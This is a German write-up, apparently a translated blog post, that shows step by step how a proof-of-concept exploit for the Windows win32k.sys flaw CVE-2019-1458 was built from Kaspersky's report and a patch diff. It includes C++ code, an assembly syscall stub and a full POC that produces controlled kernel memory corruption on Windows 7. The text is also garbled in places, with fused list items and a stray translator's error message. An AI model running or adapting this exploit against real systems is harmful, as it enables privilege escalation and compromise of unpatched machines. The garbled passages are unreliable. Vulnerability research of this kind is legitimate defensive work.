
POC für cve-2019-1458
Im Dezember veröffentlichte Kaspersky einen Blogbeitrag über [einen in freier Wildbahn eingesetzten 0day-Exploit][1]. Das weckte mein Interesse, denn obwohl sie beschrieben, wie der Exploit funktionierte, lieferten sie in ihrer Analyse keinen POC.
Deshalb beschloss ich, basierend auf Kasperskys Blogbeitrag und der Patch-Analyse einen POC für diese Schwachstelle zu schreiben.
Dieser Beitrag beschreibt meinen Weg dabei.
Zuerst musste ich so viele Informationen wie möglich über diese Schwachstelle sammeln. Beim Durchlesen des erwähnten Blogbeitrags habe ich folgende Informationen extrahiert:
NtUserMessageCall-API erforderlichwin32k!DrawSwitchWndHiliteAußerdem gibt es einen schönen Screenshot des dekompilierten Codes, der einige der zuvor aufgeführten Punkte zeigt.
Genauer gesagt zeigt er: die Erstellung des Wechselfensters, einen Aufruf der Funktion toggle_alt_key und mehrere Aufrufe von NtUserMessageCall.
[Image source][1]
Viele nützliche Informationen, aber es wird immer noch nicht beschrieben, wie genau diese Schwachstelle funktioniert und wie man sie auslöst.
[Das betroffene Modul war win32k.sys][2]. Ich habe sowohl die gepatchte als auch die ungepatchte Version dieses Moduls heruntergeladen.
Für Win7 x64 waren das:
Sie können aus dem [Microsoft Update Catalog][3] heruntergeladen werden.
Hier ist das Bindiff-Ergebnis des Vergleichs beider Versionen.

Nachdem wir Funktionen im Zusammenhang mit der DebugHook-Funktionalität ausgeschlossen haben, bleibt uns im Grunde nur diese leicht veränderte Funktion InitFunctionTables().

Definitiv nicht der größte Patch.
Das hilft nicht, die Ursache dieser Schwachstelle sofort zu identifizieren. Aber es ist erwähnenswert, dass einige Anfangswerte für Variablen bei
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) hinzugefügt wurden. Es könnte sich also um einen Fehler im Zusammenhang mit einer nicht initialisierten Variablen handeln.
In diesem Abschnitt werde ich darlegen, wie ich schrittweise einen POC aufgebaut habe, der diese Schwachstelle auslöst, während ich gleichzeitig herausfand, worin die Schwachstelle tatsächlich bestand.
Patch-Diffing lieferte anfangs nicht allzu viele nützliche Informationen, daher stützte ich mich in der ersten Entwicklungsphase hauptsächlich auf Kasperskys Blogbeitrag.
Um eine gute Testumgebung zu haben, habe ich eine Win7 SP1 x64 VM mit der letzten verwundbaren Version von win32k vorbereitet. Darüber hinaus habe ich Windbg an diese VM angehängt, um Kernel-Debugging durchzuführen, und dabei auch den Symbolserver-Pfad eingerichtet.
Ich begann meine Untersuchung mit der Funktion win32k!DrawSwitchWndHilite, die im Blogbeitrag erwähnt wurde. Sie wird von zwei Stellen aufgerufen: xxxMoveSwitchWndHilite und xxxPaintSwitchWindow. Letztere erregte sofort meine Aufmerksamkeit wegen der umgebenden GetKeyState/GetAsyncKeyState-Aufrufe, die im ursprünglichen Bericht erwähnt wurden. Außerdem prüfen diese Aufrufe, ob die ALT-Taste gedrückt ist.

Aufruf von DrawSwitchWndHilite aus xxxPaintSwitchWindow
Als ich den Aufruf-Querverweisen weiter folgte (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), stellte ich fest, dass das erste Element in dieser Kette in InitFunctionTables referenziert wird, einer Funktion, die im Patch korrigiert wurde.
Als Nächstes habe ich mir NtUserMessageCall aus dem Screenshot des dekompilierten Codes angesehen.
Hier ist die Deklaration dieser Funktion.```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
Der Exploit ruft es mit `msg = 0x14` und `dwType = 0xE0` auf. Mal sehen, was es tut.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
Hier habe ich eine einfache Fensterklasse registriert und ein Fenster dieser Klasse erstellt. Dann habe ich NtUserMessageCall mit denselben Parametern wie beim Exploit aufgerufen. Um zu sehen, was unter der Haube passiert, habe ich einen Haltepunkt kd> ba e 1 win32k!NtUserMessageCall gesetzt und den Code ausgeführt.
Es gibt ziemlich viele Aufrufe dieser Funktion, daher musste ich den richtigen erwischen, aber das war nicht allzu schwierig – es war der mit einem sehr kurzen Callstack.

NtUserMessageCall
Beim Durchschreiten des Codes zeigte sich, dass eine Funktion aus dem gapfnMessageCall-Array aufgerufen wird. Der Index wird anhand des msg-Werts berechnet und ist gleich 0, daher erfolgt der Aufruf an NtUserfnDWORD.

NtUserfnDWORD
Der nächste Aufruf erfolgt über den dwType-Wert, und der gpsi-Offset ist nun 0x40. Der Aufruf führt zu xxxWrapSwitchWndProc (diese Funktion tauchte bereits auf, als ich die Aufrufkette von DrawSwitchWndHilite geprüft habe).
xxxWrapSwitchWndProc ruft einfach xxxSwitchWndProc auf.

xxxSwitchWndProc
Und hier ist Schluss: Der Code scheitert an dieser Stelle und geht nicht weiter zu xxxPaintSwitchWindow, wohin wir basierend auf dem msg-Wert (0x14) gelangen wollen. Schauen wir uns an, warum.
Der Code scheitert an dieser Stelle, weil – wie im vorherigen Bild hervorgehoben – die fnid unseres Fensters nicht 0x2A0 (FNID_SWITCH) entspricht und die gesendete Nachricht nicht gleich 1 ist. Dadurch landen wir in xxxDefWindowProc. Um dieses Szenario zu vermeiden, müssen wir xxxSwitchWndProc mit auf FNID_SWITCH gesetzter fnid aufrufen, sodass wir direkt zur switch-Anweisung und später zu xxxPaintSwitchWindow gelangen.
Wie setzt man die richtige fnid? Genau das erledigt dieselbe Funktion im ersten if-Block – wir müssen nur alle Prüfungen darin fehlschlagen lassen, um zur Anweisung zu gelangen, die die fnid setzt.
Hier sind die Bedingungen, die erfüllt sein müssen, um alle drei if-Prüfungen fehlschlagen zu lassen:
fnid == 0 und cbwndExtra + 0x128 >= *(gpsi + 0x154)0.
*(gpsi+0x154) ist im ungepatchten win32k! gleich 0. Aber selbst wenn es auf 0x130 gesetzt wäre, wie in der gepatchten Version, könnten wir cbwndExtra auf 8 oder höher setzen und die erste Prüfung dennoch umgehen.msg == 1NtUserMessageCall-Aufruf gesetzt werden. Obwohl der Kontrollfluss mit auf 1 gesetztem msg durch NtUserfnINLPCREATESTRUCT statt NtUserfnDWORD verläuft, endet er dennoch in xxxSwitchWndProc.Wenn alle diese Bedingungen erfüllt sind, wird die fnid des Fensters auf FNID_SWITCH gesetzt.
Jetzt müssen wir NtUserMessageCall also zweimal aufrufen: beim ersten Mal mit msg gleich 1, um die gewünschte fnid zu setzen, und beim zweiten Mal, um xxxPaintSwitchWindow zu erreichen.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
Ich habe `extraData` zur Fensterklasse hinzugefügt und einen zweiten Aufruf von `NtUserMessageCall` ergänzt. Nun kann der Kontrollfluss `xxxPaintSwitchWindow` erreichen.
(Nebenbei: `dwType` muss nicht gleich `0xE0` sein, `0` funktioniert genauso gut, da es in `NtUserfnDWORD` ohnehin mit `0x1F` UND-verknüpft wird)

*`xxxPaintSwitchWindow`*
Bei näherer Betrachtung fiel mir auf, dass der Wert `extraWndData`, der aus dem Fensterobjekt stammt (Zeile 25), als Zeiger für einen Schreibzugriff verwendet wird (Zeile 46–52)! Wenn ich den Code erreichen kann, der `extraWndData` auf einen von mir kontrollierten Wert setzt, kann ich beliebigen Speicher korrumpieren!
Um dorthin zu gelangen, muss ich zunächst einige weitere Prüfungen bestehen (rot markiert)
- Prüfen, ob das Fenster das Flag `WS_VISIBLE` gesetzt hat.
Dieses Flag kann in `CreateWindowEx` gesetzt werden.
- `fnid == 0x2A0` und `cbwndExtra + 0x128 == *(gpsi + 0x154)`
`fnid` wird bereits durch den ersten `NtUserMessageCall` gesetzt.
Das Problem entsteht beim zweiten Teil dieser Prüfung, da `*(gpsi + 0x154)` im verwundbaren `win32k`-Modul nicht initialisiert ist; daher schlägt diese Prüfung immer fehl. Es sei denn, wir setzen `*(gpsi+0x154)` irgendwie auf den richtigen Wert. Es stellt sich heraus, dass das Erstellen eines speziellen Switch-Fensters, das in Kasperskys Beitrag erwähnt wird, genau das bewirkt.
- Prüfen, ob das Fenster nicht zerstört ist.
In diesem Fall bereits erfüllt.
Um das spezielle [Switch-Fenster][4] zu erstellen, müssen wir `CreateWindowEx` mit dem auf `0x8003` (`#32771`) gesetzten Namen aufrufen. Dies führt schließlich dazu, dass `InternalRegisterClassEx` im Kernel aufgerufen wird.

*Fragment der Funktion `InternalRegisterClassEx`*
Dadurch wird `*(gpsi+0x154)` auf `0x130` initialisiert.
Der Nebeneffekt davon ist, dass es keinen Weg gibt, diese Variable zurück auf 0 zu setzen, sobald wir sie gesetzt haben. Wir haben also nur eine Chance, den Exploit auszuführen. Alle weiteren Versuche schlagen bis zum nächsten Neustart fehl.
### Kontrolle über den dereferenzierten Wert
Ich bin nun in der Lage, `extraWndData` zu kontrollieren, das später als Zeiger dereferenziert wird und auf dessen Zieladresse in `xxxPaintSwitchWindow` geschrieben wird. `extraWndData` kann durch Aufrufen von```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
Beachtet werden sollte, dass dieser Aufruf nach dem ersten NtUserMessageCall-Aufruf erfolgen muss, da – wie gezeigt – xxxSwitchWndProc benötigt, dass extraData des Fensters bei diesem ersten Aufruf auf 0 gesetzt ist, um die notwendigen Prüfungen zu umgehen.
Außerdem muss SetWindowLongPtr vor der Erstellung des Switch-Fensters aufgerufen werden, und hier ist der Grund:
Ausschnitt der Funktion xxxSetWindowLong
Genau hier nutzen wir tatsächlich die nicht initialisierte Variable *(gpsi + 0x154) aus.
Wenn diese Prüfung erfolgreich ist, setzen wir wnd->extraData auf einen beliebigen Wert.
Wäre dies korrekt initialisiert, würde der Exploit hier fehlschlagen.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
Hier ist das Ergebnis der Ausführung des obigen Codes

Kurz danach erhalten wir einen Bugcheck, wenn `rdi` dereferenziert wird.
Ausführen desselben Exploits auf einem gepatchten Windows:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr schlägt mit Fehlercode 0x585 fehl, weil *(gpsi + 0x154) ordnungsgemäß initialisiert ist. Und der Kernel stürzt nicht ab.
Zusammenfassend war das Hauptproblem die nicht initialisierte Variable *(gpsi+0x154).
Aber was ist dieser Wert, warum ist er wichtig?
gpsi ist ein globaler Zeiger auf die [tagSERVERINFO][5]-Struktur. Diese Struktur beschreibt unter anderem Systemfenster (also Menüs, Desktop, Umschalter usw.) im Gegensatz zu benutzerdefinierten Fenstern.
Diese Systemfenster werden anhand ihrer FNID identifiziert; zum Beispiel bedeutet 0x2A0 Umschalterfenster.
Wenn eine Fensterklasse mit RegisterClassEx definiert wird, haben wir die Möglichkeit, das Feld cbWndExtra in WNDCLASSEX festzulegen. Dieses Feld beschreibt, wie viele zusätzliche Bytes über die tagWND-Struktur hinaus alloziert werden, um einige fensterspezifische Informationen zu speichern.
Diese zusätzlichen Bytes können wir dann mit SetWindowLongPtr ändern.
Systemfenster verwenden genau denselben Mechanismus, um zusätzliche Daten zu speichern, die sie für ihre Arbeit benötigen. Im Prinzip sollten diese Daten jedoch nicht über SetWindowLongPtr erreichbar sein.
Und wir haben gesehen, dass es in xxxSetWindowLongPtr tatsächlich eine Prüfung gibt, die das verhindern soll. Nach Anwendung der Typinformationen sieht die Prüfung so aus:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
Array `gpsi->mpFnid_serverCBWndProc` beschreibt die Größe eines gegebenen Systemfensterobjekts einschließlich Zusatzdaten.
`*(gpsi+0x154)` wird zu `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Indem dieses Feld nicht initialisiert bleibt, nimmt `xxxSetWindowLongPtr` an, dass die Größe der Zusatzdaten `-sizeof(tagWND)` ist, wodurch wir in ein Feld schreiben können, das eigentlich für die Struktur des Switch-Fensters privat sein sollte.
Die Ursache dieser Schwachstelle war dann eine nicht initialisierte (bzw. standardmäßig auf 0 initialisierte) Variable `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Das erklärt, warum der Patch so klein war. Es musste lediglich auf `sizeof(tagWND) + 8` gesetzt werden. Auf dieselbe Weise werden nun auch andere `mpFnid_serverCBWndProc`-Arrayelemente initialisiert, die zuvor nicht initialisiert waren (`FNID_DESKTOP`, `FNID_TOOLTIPS`), vermutlich um auch zukünftige Varianten dieses Exploits zu verhindern.

## Speicher korrumpieren
Beim aktuellen Stand des Exploits können wir einen Bugcheck auslösen, aber der Absturz erfolgt bei der Anweisung:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
Der letzte Schritt zur Vorbereitung dieses POC wäre dann, einen nützlicheren Absturz auszulösen oder besser noch, Speicher zu korrumpieren und gar nicht abzustürzen.
Um dieses letzte Ziel zu erreichen, müssen wir:
VirtualAlloc zu reservieren und den zurückgegebenen Zeiger an SetWindowLongPtr zu übergeben.GetKeyState/GetAsyncKeyState in xxxPaintSwitchWindow, die prüfen, ob die ALT-Taste gedrückt ist. Ist das nicht der Fall, beendet sich die Funktion.GetKeyState oder GetAsyncKeyState verwendet wird, wird anhand eines Flags bei [extraWndData+6Ch].
Ich habe mich entschieden, das Drücken der ALT-Taste mithilfe eines Aufrufs von SetKeyboardState zu simulieren. Das funktioniert nur mit GetKeyState, daher muss ich den Wert am Offset 0x6C auf 1 setzen.```cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
Mit diesem Code bekam ich einen anderen Crash.```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
Daher stelle ich auch einen gültigen Zeiger bei Offset 0x20 bereit (der auf sich selbst zeigt)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
Jetzt funktioniert der Exploit ohne Absturz, und wenn wir den Inhalt der allokierten Seite untersuchen, sehen wir, dass sie modifiziert wurde!

Wir haben einen stabilen Exploit-POC erreicht, der den ihm übergebenen Speicher korrumpiert. Das ist eine viel bessere Situation als ein POC, der beim Speicherzugriff abstürzt, denn diese beliebige Speicherkorruption lässt sich leichter in beliebige Kernel-Lese-/Schreibzugriffe umwandeln. Außerdem haben wir bereits die Anforderungen ermittelt, die der zu korrumpierende Speicher erfüllen muss.
## Fazit
In diesem Walkthrough habe ich gezeigt, wie ich von der Beschreibung des Exploits und der Schwachstelle zu einem funktionierenden POC gelangt bin, der in einen nützlichen Kernel-Exploit umgewandelt werden kann. Das war ein ziemlich interessanter Exploit, der nur wegen einer fehlenden Zeile möglich war. Ich denke, die Erkenntnis daraus lautet: Initialisiere deine globalen Variablen immer.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
Es wurde kein Eingabetext bereitgestellt. Bitte sende den zu übersetzenden Inhalt erneut.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra festgelegt werden. ExtraData wird direkt nach der tagWND-Struktur angehängt (ich habe dieses Feld in IDA als QWORD am Offset sizeof(tagWND) zur tagWND-Struktur hinzugefügt, um den dekompilierten Code etwas schöner zu machen). Sein Wert kann mit einem Aufruf von SetWindowLongPtr gesetzt werden.